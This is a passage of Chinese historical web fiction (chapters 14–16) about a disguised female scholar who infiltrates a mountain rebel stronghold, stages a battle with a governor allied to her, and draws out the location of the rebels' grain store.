谢寅懒坐在椅子上,翘着腿,胳膊拄着脑袋,扫着信件,嘴上不自觉勾起一抹笑来。
“沧隅山匪寇果真与朝廷士族无干系。”他看毕,把纸拍在桌子上,示意长青倒茶。
长青奉茶。
“你快去给我们的状元郎报信吧,明日我便便召集士兵,围剿沧隅山。”谢寅端起茶盏,抿了一口茶水。
“什么?”长青没料到主子竟然这么着急。
“你看看,这是谁着急?”谢寅这次没嫌长青蠢,耐心地把桌子上的信递给他。
长青自然受宠若惊,难不成还有人能指使主子?他恭恭敬敬地接过来,仔细的看了一遍。
14. 第 14 章
谢寅清除了冯齐一党,肃清庆阳官兵上下。
庆阳县上下人心惶惶,冯齐这棵大树倒了,那些曾依附于他的或者被迫依附的,逮到了时机,纷纷逃窜,备好礼,拜谒唐其昌,渴望县丞能为自己掩盖过去,逃过谢总督这一“劫”。
徐道州平日里就没有“眼力劲”,在冯齐底下的人去讨好唐其昌时,他畏畏缩缩地在家叹气为难。
在经过了多年世俗的打磨,他的“窝囊”成功地变得更窝囊了…摸爬滚打一辈子,老来升官,本以为是苦尽甘来,没想到被冯齐用家人性命胁迫,不得不听从了冯齐的命令。
他知晓苦难的滋味,故而与百姓亲近非常,结果一次又一次做了这事。因为一己之私,罔顾了那些百姓的性命,他悔恨,觉自己罪有应得。
“啪”,巴掌声音清亮,他难掩悔恨,泪水划过褶皱的脸,最后的清醒给了他莫名的勇气。
“我,我要去县衙,向谢总督负荆请罪。”徐道州刚才用足了力气,脸上的很印格外明显,也格外坚决。
“孩子我给你守着,你放心。若是,我们娘几个有不测,你就再没拖累了。”妇人态度坚决,铁骨铮铮。
她曾做了丈夫的软肋,成为狗官逼迫丈夫驱赶灾民的工具,她不忍看丈夫为难,也不希望百姓再遭这种苦难。
徐道州背上荆条,走在未清除淤泥的道路上,即便背上一片血肉,他也不曾减慢过半分。
他孑然一身,反常的举动让县衙的官兵肃然,连往日里与他意见不合的官员都不曾阻拦,通畅无阻地进了县衙大堂。
谢寅坐于县衙大堂上,翻看冯齐处理的庆阳大大小小的事。
他要出兵沧隅,就要处理好庆阳,再出现驱赶灾民的情况,他哪里顾的来?偏头看见来人,皱眉道,“有什么事吗?”
“卑职乃是庆阳巡检徐道州,曾两次驱赶百姓,一次是庆阳城外,另一次便是沧隅山。”他扑通一声跪下,陈列自己的罪责,任凭荆条割裂皮肤。
“卑职虽官职微末,却也是得先人教诲,受经书洗礼的士人,我愧对百姓,愧对总督,特来负荆请罪,求大人责罚。”说完,他便重重扣头。响声回荡在大堂。
谢寅收了不正经的语调,听了这样一番话,还正了正坐姿。
不禁腹诽:若是京城士族能自省如此,何至于到今天种田地?
“如此,确该给些惩罚。”他抬眸,看着稳稳跪在地上、没动弹的人说。
他递给长煊一个眼神。
长煊会意,上前解了血淋淋的荆条,搀扶徐道州起来。
徐道州怔愣地看着谢寅,一肚子的疑问不知从何说起。
“不如就这样,洪灾刚过,道路却未清,你便将功补过吧。”谢寅戴上温和。
“大人心胸宽阔,下官领罚,下官必定认认真真完成。”扑通一声,他再次跪下领赏。
看似是罚,实则是赏,这将功补过明摆着是做好了升官,但若欠缺了也可以翻篇接过的。
长煊客客气气得送徐道州回去。谢寅仍旧翻看着糊涂人写的糊涂事,他皱眉,翻了一本又一本。
最终,没再压抑心中的怒气,将那明显杜撰应付的东西甩到地上。
“啧”,真是会给我找事啊,魏尚书。谢寅捏着眉心,叹气道。原本潇洒的红色如今染上了一片阴霾。
庆阳被士族这么一搅和,下面的人表面依附京城士族,实则都为了自己所图之利益,导致事务一团乱麻。“你给我设了这么大一个坑。”
谢寅脸上阴霾尽散,他负手而立,殷红的夕阳打出模糊的背影。
“不过围剿沧隅山与庆阳有何干系,只要能控制好庆阳县里的主风向。”他越过桌案的阻拦,于大堂门口而立。
“可若是再出现驱赶流民一事呢?”长煊道。“上奏皇帝,修理运河,用这些流民来修。”谢寅道。
长煊应下,退下代写奏折了。
“你们还不想放弃庆阳这棵摇钱树吧…”谢寅喃喃道。
京城与庆阳来回快马加鞭也需要一天多,正好给他整顿士兵的时间。
*
林疏影得了职位,虽是虚职,但她仍认真仔细。这不仅仅是安置流民的问题,也是她积累民心,获得陈述信任的关键时刻。
分配,协调这些人还是个体力活,她忙活了一下午,躺倒在床上时,看到门外人影一闪。
她猛然做起身,手不自觉得摸向床头,却抓了个空。
这里不是庆阳县衙,也不是她的小院,她也没有疏影剑。
吱呀一声,门被推开,一抹熟悉的黑影进来。
“林…状元,这是总督的信,县令一党已除,不过总督身份也暴露了,等这几日清肃整顿好了庆阳,他便出兵,您借这些时间正好取得信任。”长煊递给她信件。
“好,我知道了。”她接过信来,看着密密麻麻的字迹,脑袋疼,两句话就能说完的事情,这是列了一整张纸吗?
本来打算休息的她,不得不起身,重新点了蜡烛,借着微黄的烛光,皱眉看信。
不消片刻,她把信狠狠往桌子上一拍,动作带来的风摇晃着烛光。
“谢寅,你闲的吗!”林疏影几乎咬着牙说出这句话。
列了一张肉麻的情话,不知道的,还以为她俩是小别胜新婚的夫妻呢!
这人又作什么妖,林疏影借着烛火烧了信,火焰向上窜,仿佛在抗拒对信的灼烧。
火星子落下,一点一点地消失在空气里。
林疏影叹气,“还好都是些吟咏对少年爱慕的诗歌,至少他没发现我的异常。”
退一步海阔天空,她退了一步,果觉身心舒畅。
而后疑惑上了心头,“不是?他是断袖!”这世道,不光女子没有自由,甚至有男子成为权贵的玩物…她压抑着心头的情绪,心里对这人加了些防备。
吹灭蜡烛,脑海里不断浮现那抹红色的身影,她了口气,心想:等剿匪成功,便把名贵的玉佩和明玕还给他吧。
今日又是落水又是安置百姓的,她早就筋疲力尽了,思索着如何与谢寅划清界限的第一步,就睡过去了。
次日,仍是这些活,她忙得上其不接下气。
晚上便被陈夫人喊住,“疏影,来,过来。”
陈夫人冲她招手。
日薄西山,余霞映衬着夫人的脸庞,那一瞬,记忆里的母亲的面孔与眼前这人相重叠。
她正恍惚着,陈夫人走上前,拍了拍她肩膀。
“累了一天了,我带你去吃饭吧。”温和的笑容展开。
熨平了林疏影来沧隅山这些天的心惊与不安,她眼不自觉得红了一圈,明明就是些最平常的话,她为什么会这么动容。
“好。”林疏影应下。
天色已晚,旁人都回家去吃饭了,她为着能早日让流民有个房屋遮风挡雨,不再一起挤在后山上,才忙活到现在。
“夫人,稍等我,就剩几个人了,我安顿好便去寻你。”她看着剩到最后的葛根几人。
“好,我在上次你去的地方等你。”陈夫人颔首一笑。
待林疏影整理好,她靠近葛根小声说,“你顾好自己。”
说完她便转身离去。葛根是能保证她安全的最后一个人。
她迈开步子,前去寻陈夫人。“夫人好,怎么陈兄也在?”林疏影行礼,看着眼前的一桌子饭菜,心里很暖。
即便是父亲与母亲不和,但母亲逢年过节都会收拾一桌子饭菜,她虽然是赵家的娇小姐,但她一点也不娇气,想要的,她自己会去拿,想学的她也会不顾家人反对去学。
林疏影的脾性全是随了母亲,她也努力想要做到母亲那样,可妈妈却对她说:“你就是你,你要成为你自己。”
“夫人说要谢你,我怎能不来呢。”陈述举杯,眉眼含笑。
他这次来是探探林疏影的虚实。
“多谢夫人盛情款待。”林疏影对着陈述举杯,却先向夫人道谢,为人谦和,滴水不漏。
夫人眉眼含笑,“你这孩子,怪精的。”她见着林疏影的第一眼就觉得这孩子亲切,加上又受了人家的救命之恩,心里更是喜欢的紧。
若是她有孩子,算算年纪,是与眼前明朗谦和的少年郎一般模样的,思即此,她看着疏影的眼睛多了几分慈爱的柔情。
碰杯的两人落下杯子,齐齐看向陈夫人,均是一笑。”
“唉,我可跟你说,人好歹是状元,哪里能让人家操劳这些?”夫人给陈述夹菜随口说道。
她瞧着这孩子可怜,同意丈夫来蹭饭也是暗里给林疏影机会,可这么半天了,看着他闷头吃饭,就替他着急。
“你看看你,不是你说不要让我把平日里的事放在饭桌上。”陈述佯装怒意。
他知晓夫人一片好心,可尚未知晓林疏影此来究竟是不是与那清剿他们的谢寅有关,一山的百姓和他多年的基业都不允许他有任何鲁莽的行为。
“哼,那你走,这顿我可没有请你。”夫人见板着脸的陈述,把原来夹到他碗里的菜又夹回来
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陈述明白,夫人这是拉不下脸来,要自己给台阶呢。
“唉,你这…不是你…”陈述看着被夹走得菜,欲言又止,他眼巴巴地看着夫人,算是认输了。
“来,我也不该随便问你这些,不然我也该被那些人嚼舌根子了。”夫人软了态度。
她又重新夹了菜给丈夫,知晓丈夫要做大事,况且也已经表明了自己的态度,便没再纠缠。
陈述扒拉了两口饭,看着一旁静默吃饭的林疏影,定了定心神。
他派身边的人观察了一日,确实非常用心,何况连夫人都能看出来他大材小用了,他也该做出决定了。
月悬空中,三人酒足饭饱,林疏影起身答谢了陈夫人,与二人行礼,便迈开步子往自己的住处走,自始至终没有提职位一事。
在受到陈夫人邀约的那一刻,她心里就有了底,饭桌上二人来往她故意没插嘴,就是摆出谦和恭谨的模样,来打消陈述的疑虑。
她喝得有些醉了,竟企图想要用手捞起天上的月亮,她努力地伸长胳膊抓,使尽浑身解数,却徒劳无功。
手臂僵在空中好久,一阵冷风,才将她拉回来,她只把手臂盖在眼睛上,晶莹的水花在半空崩裂,她身体一抽一抽,却没有抽泣的声音。
母亲,我想你了。
*
次日一早,林疏影刚起身,正在寨前晨练。急促的鼓鸣传来,让人莫名心烦,她皱眉,寻着声音过去,却见正对着鼓的大厅里乱成一片。
“谢寅此来就是为剿灭我们,你看看你带回了什么灾祸!”林穷呵斥道。
“当初他来,我们也是商量过的,怎么到这时候把所有的东西归咎到我身上了?”刘永兰不卑不亢。
陈兄正是缺谋士的时候,倘若状元郎真是来投靠,那他便是刺入京城的关键一步!
“依我看,他是不是谢寅故意派来的,还要看他自己怎么做。”刘永兰不给对方说话的时间。
他偏头瞥见大厅外的人,嘴上勾起一抹笑来。
林疏影刚探头过去,就撞上一个眼神。
她整了整衣袍,小心咳嗽几声,开了嗓子,便迈开步子走进去,“诸位,我林疏影不忠于大夏的皇帝,是因为皇帝不为百姓着想,朝廷不为百姓想,我以百姓为本,只要是为着百姓的,我都效忠。”
她任凭周围的人打量,身躯不曾弯过半点。
“我请命迎战谢寅,还请大家能给我这个机会。”表明态度后,她直入正题“在京城时,他纨绔的名头就无人不知无人不晓,那庆阳县令一顿饭都能拦住他剿匪的进程,这不是我林疏影要效忠的人。”
“朝廷冠冕堂皇地打着为民除害的名头派兵剿匪,不过是怕运河落入咱们手里,不过是那几个贪官怕失了利益。况且,我本以为山上都是些杀人劫财不入流的匪寇,不曾想确是劫富济贫的好汉。我寒窗多年,一身才华就是为全天下生民谋福,确成了敛财士族的帮凶!是我受了朝廷奸人的蛊惑,这位兄台怀疑我也是正常的。”她看着林穷,字字泣血。
“那你如何来的沧隅山?”林穷仍旧不为所动。
这点嘴皮子功夫可打动不了这个在科举混迹半生的人。谁不是为了功名才去争的?谁不是为了出人头地争的?
况且,这人牙尖嘴利,字字珠玑,句句直命要害,更让他怀疑。
“这便是我结识大家的契机,那庆阳县令为了迎接京城浪荡子谢寅,把城里乞讨的流民全赶走了,不光如此,谢寅不想因此惹得一身嫌,又吩咐冯齐秘密处理了这些人,我得知后,心里不放心,便偷偷潜入其中,没想到他们解决方法竟然就是把他们赶到山下。”
林疏影面上忧心,心里确是爽快。
看着偷鸡不成蚀把米的林穷,心里舒畅不少。
“况且谢寅就是个草包,而他手下的人我也了如指掌。”
林疏影看着高位上的陈述,眼神坚定。陈述看看周围,似在寻求他人意见。
“陈兄,就让他去罢。”刘永兰思索再三,权衡利弊道。
不入险境便得不到好玉,林疏影这块上好的璞玉难得得很,他还是决定抓住这个机会。
“既然说到这份上了,那我无可辩驳。”林穷斜睨着林疏影,阴阳怪气道。
陈述摩挲手上的扳指,于高位之上,将一众人的神色看全了。
他周旋着众人的意见,语重心长道,“好,这次交给你,你可莫要让众人失望啊。”
林疏影领命,随刘永兰去清点人去迎战谢寅。
15. 第 15 章
林疏影利落地跨上马,看向跟来的刘永兰。
她皱眉,这个老狐狸跟来做什么?
“这些兄弟都跟了陈兄好些年了,我来帮你镇着他们。”刘永兰迎上林疏影的目光。
“好,麻烦永兰兄了。”林疏影点头。
心里却有些没底,这人不好糊弄,这场戏必须要足够精彩。
可若是......
她赶紧掐灭心中的念头,还未开始,怎能言败,就算是必败的结局,她也一定会拼尽全力。
冷眸闪过一丝光亮,她一身戎装,提剑勒马,前去赴一场好戏。
可这场戏又要葬送多少人的性命…
待士兵准备好,刘永兰驾着马,领林疏影几人寻了最缓的山路,奔到山脚。
其余的士兵们混迹沧隅山许久,早就摸清了这里的地形地势,一个个得猴似得往山下蹿,倒是一点儿也不比他们骑马的慢。
林疏影见状,不免感叹沧隅山竟然培育出了这样的精兵强将,又想起出发庆阳那日见到的大夏的精锐,心里暗中比较了一番。
她纵马越过密林,平坦宽阔的土地一点点出现在她视线里。
随后鲜艳的红色映入眼帘。
那一抹红色的身影于平旷天地间格外明显,许久未见,她慌了一瞬。
很快调整过来,她拉住缰绳,勒马停在谢寅正前方。
她回头,看着齐整的军队,和在密密麻麻的人之后的刘永兰。
深吸一口气后,她便转过头,要开始了。
林疏影摁住心下的慌乱,她不能退,也不敢退,朝堂局势未定,又遭逢陈述作乱,眼下洪灾刚过,百姓经不起这么折腾。
她睨着谢寅,眼神里的杀意丝毫不假,摆出一幅于那人不共戴天的模样。
不过,她确实讨厌士族,母亲死于士族的阴谋不说,士族敛财致使民不聊生,在还没有真正认识这个人之前,她也是讨厌谢寅的。
刚开始这人虽然替她解围,为她教训了魏丹清,但她并不会为了不痛不痒的小事,就放下自己对士族的偏见,依旧对他防备有加。
但这些日子相处下来,她察觉这人并不像他表现得那样风流、纨绔,而且他颇受陆大人重用,也极其在意百姓的处境。
甚至来赴这一场对他毫无利益而言的戏......
谢寅长发随意披散,不着甲胄,不戴头盔,甚至浪荡万分地朝林疏影吹口哨打断了林疏影的思绪,“呦呵,林状元,几日不见,我都有些想念你的味道了。”
他还顺势“咂”了一声,似在回味。
林疏影看着犯贱的人,眉头皱起来,刚才的念头一瞬间就消失了,太阳穴直突突,“谢总督,你此来未免太大意。”
她真想上前扇这人一耳光,但她不能。
“为了你,我可是清除万难,大费周折,就是为了能早些抓你回去。”他背着光,晨光勾勒出他的身影,为红色加了一层暖光。
林疏影听出了他话里的意思,那狗县令应该解决了。
庆阳里的士族党羽已清,谢寅出兵再无后顾之忧,眼下就差她行动了。
“谢总督一心玩乐,与我志不同道不合,哪里能一起共事?我不是断袖,您不要再抱多余的心思了。”她余光看见一旁的士兵在观望。
既然谢寅要整这样狗血的,她便配合来。
“莫要再费口舌,战场上见真招吧。”林疏影拔出剑,直指谢寅。
谢寅似在看热闹,他挑眉,“既然这样,那就没有办法了,长煊,你去,可别伤了细皮嫩肉的小书生。”他勒马往后退。
他这样一番话倒是更加证实了人们心里的猜想,也引得沧隅山一行人的军心不稳定,林疏影似乎察觉到了异样,便不再给这人说话的机会,一鼓作气冲上前。
她深吸一口气,握紧了剑柄,嘶喊道:“兄弟们,为了身后的的山,为了自己的妻儿,杀!”便先一步驾马冲上前。
她这样一番话,揪住那些人心里最敏感的地方,军心一瞬间又平稳下来。
士兵们带着狠劲,跟上林疏影。
两军交战,混作一团,那鲜明的比旁人瘦弱的身影却只身冲破障碍,深入敌营。
她挥剑直破长煊命门,步步紧逼。
不成想这人竟故意暴露出弱点,措不及防地杀了林疏影一剑。
林疏影不得不跳起来,堪堪躲过那横扫而来地剑,站在马背上。
于是便将计就计,借着马儿,跳上了长煊的马,马儿慌乱一阵,颠簸得长煊无暇顾及林疏影。
她将剑横在长煊脖子上,扯着唇说道,“够了吧,让谢寅亲自来。”
沧隅山一行士兵见林疏影要活捉长煊的气势,都斗志昂扬,大鼓不停振动,鼓舞着士气。
“兄弟们,不要含糊,打退他们!”林疏影借着机会再次鼓舞士气。
她正向四周寻着谢寅,就被眼前的人挣脱了,她不得已,只得跳回自己的那匹马儿。
正愁眉间,见长煊给她指了方向。
她顺着方向对上不远处谢寅的眼睛。
桃花眼里一阵深意,她似乎读懂了。
那是要她擒贼先擒王的意思。
她极细微地摇头,皱着眉头,手里的握着剑的力道松了些。
太危险了,若是他真的被擒,那这个计划就功亏一篑了。
“啧”谢寅看着犹豫不决的林疏影,勾唇一笑,是刚才的激将法还不够劲吗。
林疏影犹豫再三,还是动身,冲他跑去。
谢寅抬眼,见那抹身影朝他奔来,便嗤笑一声,不紧不慢地拔出剑来,还顺带整理了一下头发。
“谢寅,敢不敢与我一战!”林疏影大喊着。
话毕,林疏影便直接上前,征求谢寅的同意。
她一剑直逼谢寅喉咙,丝毫不含糊。
谢寅匆忙用剑格挡,“不是,美人今日的脾气真大啊,不过,我还是很喜欢。”
“你还装,你这人最会说些骗人的鬼话了。”周围打斗声掩盖了二人的对话。
刀光剑影间,是二人为数不多的能够坦诚相见的机会。
“我不装成这样,怎能帮助林状元获得沧隅山的信任呢?”谢寅躲过一击,变防守为进攻,一剑扫向林疏影。
“你到底要如何演完这场戏。”林疏影不想再与他争执这些。
有些人就是有一种能挑动她情绪的魔力,似乎只要跟这样的人在一起,她所有的情绪都会被放大。
“如何?”谢寅并未回答,只是一招一招地逼向林疏影,知道她有些受不住,落下阵来。
她见这人毫不留手,也顾不得疑惑,只得全神贯注地接着花样百出的招式。
忽然,这人的招式慢下来,林疏影终于松了口气,但手上动作依旧比平时更狠厉些。
刀剑无眼,林疏影还没反应过来,剑刃上闪过一丝锋芒,便被鲜红占据。
她恍惚一瞬,而后强压下心头复杂的情绪,除过面上苍白些,便看不出什么情绪。
“没想到,你真的会做到这种程度......”林疏影手抖地几乎握不住剑了。
“我向来是这样的人,林状元第一次知道吗?”谢寅抹去嘴边的血。
被血染红的唇格外妖艳,都到这时候了,她对这个人的印象依旧是“蛊惑人心”。
这样恨绝的谢寅,她确实第一次认识。
这人极其善于伪装自己的心思,偏偏又总能通晓别人的心思。
林疏影回过神,拔出剑来,血珠溅到她眼下。
“美极了,这一剑值了。”谢寅捂着肩膀流血不止的伤口,扯着已经泛白的唇道。
长煊见状,赶忙上前护住谢寅,逼得林疏影连连后退。
她不得已,只能勒马后退,却仍旧不放心那人频频转头。
起初还有一张邪魅的脸,到最后只能看见红色的衣角消失在人群里。
“兄弟们,谢寅已被窝刺伤,他们失去了主帅,还有何可惧?”林疏影见身后的沧隅山士兵跟上来,高举起尚温热的剑。
沧隅山士气振奋,不知是谁喊了一声“杀”,他们纷纷涌上前,逼得官兵连连后退。
这些官兵并非谢寅所带来的精锐,而是从庆阳临时集结的官兵,就是披上了层甲胄。
临时组建的军队,既没有一个能够服众的主帅,也没有精良的兵器,更没有杀敌报国的决心。
眼下,主帅受伤,本就对此行没报任何希望的人们此时更是没有任何交战之心。<
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p>军心大乱,溃不成军。
士兵见状,早就没了底气,看着谢寅掉头逃跑,纷纷丢下武器,盔甲,头也不回地跟上谢寅,狼狈不堪。
沧隅山的士兵嘘声一片,随后便是胜利的狂呼。
“我们胜了!”
林疏影悬着的心终于落了下来,随后脱了力,手上的剑掉到地上,她看着不住发抖的右手,本想用另一只手控制,却是白费力气。
这是她第一次伤人…
现在想来,谢寅的那封信怕也是为了这一刻。
那他又是为了什么处处护着自己,玉佩给她,明玕给她,甚至…都让自己捅了他一剑,这是为什么…
她叹气,勒马回头,不敢再看那沾着血的剑。
带兵回山,遇上刘永兰,她勒马行礼,之后在士兵的引到下,上了山。
林疏影看着路两边站得乌泱泱但整整齐齐的百姓,忽而想到出榜那日的人山人海。
那时候,人人只关心自己、自家孩子、亲戚家孩子何等名次,而现在,这些抱着一篮筐鸡蛋,提着一大篮蔬菜,一手抓着鸡的翅膀,一手掌着鹅的脖颈的人们,就都是为了迎她。
心里一阵暖,她看着质朴的百姓,心里却又泛起酸来。
她一一回拒,还好刘永兰及时出现,把她带到了寨子大厅。
林疏影不居功自傲,依旧谦和恭谨,与陈述行礼。
“干的好!疏影,今晚为你摆庆功宴如何?”陈述大笑道。
“是兄弟们骁勇善战,疏影怎可全把这些功劳揽了来。”她这一番话,倒是让陈述更加开心了。
林疏影回想着先前的心惊胆战,确是不敢再经历一遍,这算是了解了这场戏了。
“那今晚,大家都得来!”陈述一拍椅子上的扶手,决定了。
他看向刘永兰,激动之情溢于言表,林疏影这块好璞玉,定能助他推了这大夏!
底下不少人附和恭喜,夸赞林疏影智谋无双。
而林穷却站在角落里脸色发青。
林疏影瞥着阴影里的人,无论如何,这次胜利,算是堵上了以林穷为首的人的嘴。
*
谢寅负伤而归,官兵丢盔弃甲,狼狈不堪。
无论是在在街上乞讨的,还是在街道上摆摊的,见了这阵势,都不住地冲谢寅一行人吐唾沫。
“呸,浪荡纨绔,成天吃喝玩乐,活该吃了败仗。”街道上一个妇人啐了唾沫。
“你…”长煊被谢寅制住想要拔出剑的手,动作不成,他便将脸甩向一边。
眼不见心不烦了。
主子受的这一剑,还不是为了他们!若是没有这一剑,还不知道要死多少官兵。
“长煊,你应该觉得开心。”谢寅淡淡道。
“什么?”长煊胸中的火气还没迸发,就被这句话摁回去了。
“至少,百姓知晓败兵可耻。”谢寅脸上挂着笑,让人捉摸不透。
“运河一事如何了?”他丝毫不顾忌周围人的眼光。
从他答应师父,走上与师父相同的道路时,便没想给自己个好结局。
就算大夏中兴,重振当年辉煌,他这样的人哪里有什么好结局,要不带着破败的名声归隐,要不就在朝堂被猜忌冷落漂泊一生。
不过,他也不在乎,辞官与母亲一起侍弄花草倒也别有趣味。
“朝廷的人带来圣旨后,唐其昌便开始着手准备了,现下,应该已经安排好了。”长煊回道。
他看着主子一脸阴翳,不明所以,回想了一遍自己做过的事,检查了一圈,觉得都没有问题后,才放心。
只要不迁怒于他,都好。
“嗯…唐其昌的身世查了吗?”谢寅看向庆阳运河处,隐约能看到奔波忙碌的人影。
“主子…我们的人找了一圈,没查到他的身世,只知道这人曾是南边来的流民,得了冯齐的赏识才一步步走到今天的位置。”长煊不敢看谢寅。
“大夏对南部户籍并不严格,百姓为了少纳粮,谎报、藏匿的不再少数,借着追查,既然正规的走不通,就去找曾与他共事的人,想办法撬开他们的嘴。”丢下这一番话,他甩着鞭子,策马回了县衙。
长煊依旧充当着他的角色,帮他处理好官兵们。
16. 第 16 章
春日里的夜来得早些,沧隅山寨子大堂外漆黑一片,堂内烛光闪烁。
不少人脸上带着醉醺醺的红,勾着身旁人的脖子,举杯相邀。
林疏影是这次庆功宴的主角,自然被不少人灌酒,好在刘猛受了夫人的嘱托,在一旁替她看着,帮她挡酒,恐怕她这刚下战场的身子就受不住了。
座位间极少有人保持清醒,林疏影强撑着最后一丝意志,举着酒杯,庆贺般地说,“陈兄,咱沧隅山可是有了如今有这样的盛景,百姓安居,兄弟们各司其职,来日必定能推翻大夏,以正人间道。”
林疏影脸上挂着红,她看着周围的人。
林穷为了死盯着他,竟然滴酒不沾,刘永兰也是,时不时瞟她几眼。
这下,没有机会了。
“还是诸位兄弟的功劳,不敢居功。”陈述呵呵笑着。
林疏影早没了套话的心思,心下想着,还是与葛根商议,徐徐图之,不能操之过急。
终于熬到庆功宴结束,众人纷纷离去。
林疏影撑起身子,就要走,却被刘猛叫住。
“林状元,夫人嘱咐我,让我带你去喝了解酒药。”刘猛虽替林疏影挡下不少酒,但肚子里似还有余量似的,不见醉意。
她心头一紧,便道,“好,麻烦带路。”
是了,刘永兰与林穷二人谨慎小心,但眼前这人却与之相反,机会就在眼前。
林疏影有些醉,但她回绝了刘猛要扶着她的举动,摇摇晃晃地往前走,“刘兄啊,你来这里多久了。”
“害,俺也记不清了,反正多亏了陈老哥,是他让俺免于官府的追杀,让俺能自在地在这沧隅山生活。”刘猛一根筋,说话也不过脑子,现在被究竟麻痹了“思考”的神经,倒是什么都说了出来。
“原来如此,陈兄当真是个好人,总能救人于水火。”林疏影心下了然。
这人多半是从巴郡跑出来的,未雨绸缪了许多年,今日所见的精锐怕只是沧隅山的一小部分。
眼下,以少取胜才是上上策,本想通过这次机会得青睐,没成想,真是低估了这群人,盗取沧隅山的运粮图便是唯一的办法了。
“那…刘兄你现在是要做什么?”她接着上一句,自然地问出来。
“啊?”刘猛身形一滞。
“我这虽打了胜仗,却总有人不服气,眼下我也想了解一下沧隅山的情况,好不让陈兄为难。”
林疏影见这人迟疑,一番话说出来,就打消了这人的顾虑。
他直着身子,放低了声音,凑近林疏影说道,“我平日里就操练士兵,我也只会做这些了,永兰告诫我不能说出去,你可千万不要说是我说的。”
林疏影点头,勾起一抹笑来,“刘兄你颇为骁勇,虽平日里大大咧咧,恐怕在操练一事上格外严苛吧。”
“那必须,像那些能灵敏地上山下山的人,可都是我一手训出来的。”他放下戒备,不含糊道。
“我今日用的那些士兵,竟都是你操练的?”林疏影不着急,她顺着话茬往下接。
“嗯,除了运送粮草的那批人,这山上的大大小小的士兵都要经过我的手。”他拍拍胸脯,颇为自信。
他练出来的兵都让永兰连连佩服的。
“能者任之,刘兄,你果然是能者!不过,这运粮事的人…是不需要训练吗?”林疏影话锋一转,揪住了关键信息。
终于逮到空子了,这人并没有对自己设太多的防备,只要仔细些,应该就没有什么问题。
“一直是永兰兄在管,毕竟粮草一事,是大问题。”刘猛只是耿直不爱耍心眼,但兵法他可是倒背如流,心里清楚着呢。
他知晓粮草的重要,也必定不会因为这些小事迁怒于永兰。
“永兰兄果真足智多谋,在下万分佩服。”一牵扯到刘永兰,林疏影便愁眉不展,敷衍恭维道。
若是刘猛掌管粮食还好些,可这个老狐狸拿着沧隅山的命脉,她若贸然行动,便又极大的暴露风险。
“那可不,就是有了永兰开辟了运粮路线,才能养活我们这一山的人!”刘猛蹦出这句话来。
刚觉无望的林疏影心里清明不少,她脑海里突然冒出来这几天观察来的沧隅山的地形。
“当真令人钦佩,我猜永兰兄定是用了后山的缓坡。”
她假装肚子疼,要如厕时,便仔细观察过后山环境,发现周围起伏并不大,和缓极了。
还有重兵把守的小屋和屋里铺满的干草,如果真是从后山运粮,那这一切都说的通了。
那时她并未在意,现今想来,处处是线索。
“不愧是林状元,永兰说你才智无双,果真是,他还说你是上乘的璞玉呢。”刘猛并未发现林疏影的异常,还拍拍她肩膀,颇为欣赏。
“哪里,都是永兰兄慧眼如炬,否则,我哪里能胜了这场呢?”
一番试探后,她确信后山屋子是存放粮食的仓库,也就是说,只要能将这粮仓端了,便不用冒着暴露的风险去偷运粮图了。
她清明不少,眉头逐渐舒展开。
二人又客套几句,便行至那日夫人邀他吃饭之处。
刘猛没有喝解酒汤的习惯,应了两声便退下了。
林疏影看着眼前的汤,心揪起来,迟迟没有动作。
她眼角泛红,看得陈夫人好一阵心疼,“孩子,喝吧,喝了明日好受些。”陈夫人心里不住责备自己昨日怎的忘了为疏影准备汤。
困扰她许久的问题,在沉寂了一段时间后,又冒出来扰着林疏影的心神。
如今她的立场如水中抚浮萍,飘忽不定,一边受着夫人的好处,一边想着如何剿了沧隅山…
人人都说匪寇凶恶,但她这几日所经历的并非如此,在这里,有志之士能得重用,能一展才华,百姓能安居乐业,这儿哪里是贼窝了…
为母亲报仇重要,可不止取得皇帝青睐这一个途径,若是…
她双手捧着碗,怔怔地盯着汤里的自己的倒影。
忽而一只手过来盖在她手上,打破了她的心思。
温热的掌心让她想起了母亲。
“怎么了?”夫人温声细语道。
“无碍,麻烦夫人这么晚还为我准备这些。”林疏影戴上笑,眉眼弯弯。
她虽心里不好受,但实在不想糟蹋了夫人的心意。
随后她便端起汤来,一口闷下。
“慢点,谁和你抢。”夫人一脸慈爱,仿佛在看自己的孩子一般。
*
次日,林疏影得了闲,在沧隅山转圈散心。
陈述让她缓一天,再给她安排职位。
许是知晓了她与谢寅表面上的龌龊关系,怕她伤心,这才给她一日空白。
不过她今天精神确实不大好,眼周的黑眼圈有些太明显了。
昨晚,她辗转难眠,脖颈间的明玕挣脱了衣服的束缚,滑出来。
她终于不再闭着眼假寐,做起身,借着月光,仔细摩挲着明玕。
月光清冷,正好与林疏影的脸庞相衬,她抬头看着月亮,心下有了定夺。
她应该还那一剑的人情,她应该善始善终。
在一切行动尚未有定论前,用自己局限的视角妄图猜测预知未来大夏的命运,进而评判当下的是非过错,未免太鲁莽了些。
既然选择了陆大人,便看他如何革除朝堂弊病吧。
于是,她深夜又点燃了蜡烛,借着微光提笔,把自己的猜测全写了进去。
当下,与其思考自己如何带着枷锁起舞,倒不如把问题抛给山外的那人。
次日,林疏影便盯着不佳的精神在沧隅山转悠。
她曾安排过流民,自然也有了去看看他们的理由,顺便与葛根说明情况。
葛根见她来了,便抓起一旁洗好的菜,一股脑儿地要塞给她。
“运粮路线经过后山,我怀疑后山那个屋子就是沧隅山粮仓。
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”她先推脱两声,随后便压下声音,手上动作一直没停。
这里的百姓互相帮助,总会互相曾送彼此鸡蛋蔬菜,因而二人也没引起周围人的关注。
“我故意把东西拉后山小屋里了,正好能去探探虚实。”葛根低声道。
这正好应了林疏影的心思,她面上掩饰不住笑意。
“好,唉呀,真是的,您辛苦种的,送给我您吃什么。”她不再推脱,接过菜来。
二人简单话别,林疏影捧着菜回了住处。
后山重兵把守,若没有熟悉地形的人领路,也会遭到埋伏,正好葛根留了后手,只能尝试这个法子了,若是还不行…
就只能靠长青了。
就是山上陷阱颇多,尤其靠近粮食的地方,必然把守森严。
另一边葛根找了官兵,“这位爷,我有东西拉在后山了,劳烦带我去看看吧…”
“什么东西?不重要的就别要了,后山不能随便靠近。”那官兵眼神凌厉。
后山可是粮仓之地,刘永兰吩咐过,无特别情况,不要任何人靠近,甚至还专门划出一条界限来区分。
若是因他出来什么意外,总督第一个问责的就是他!
“爷,通融通融吧,那是我女儿的玩具,她…她不在了,我就想留个念想。”葛根道。
他通过人打听了,这人有个乖巧可爱闺女,平日里喜爱的很,总要带出来让他人眼羡一番。
故而,投其所好。
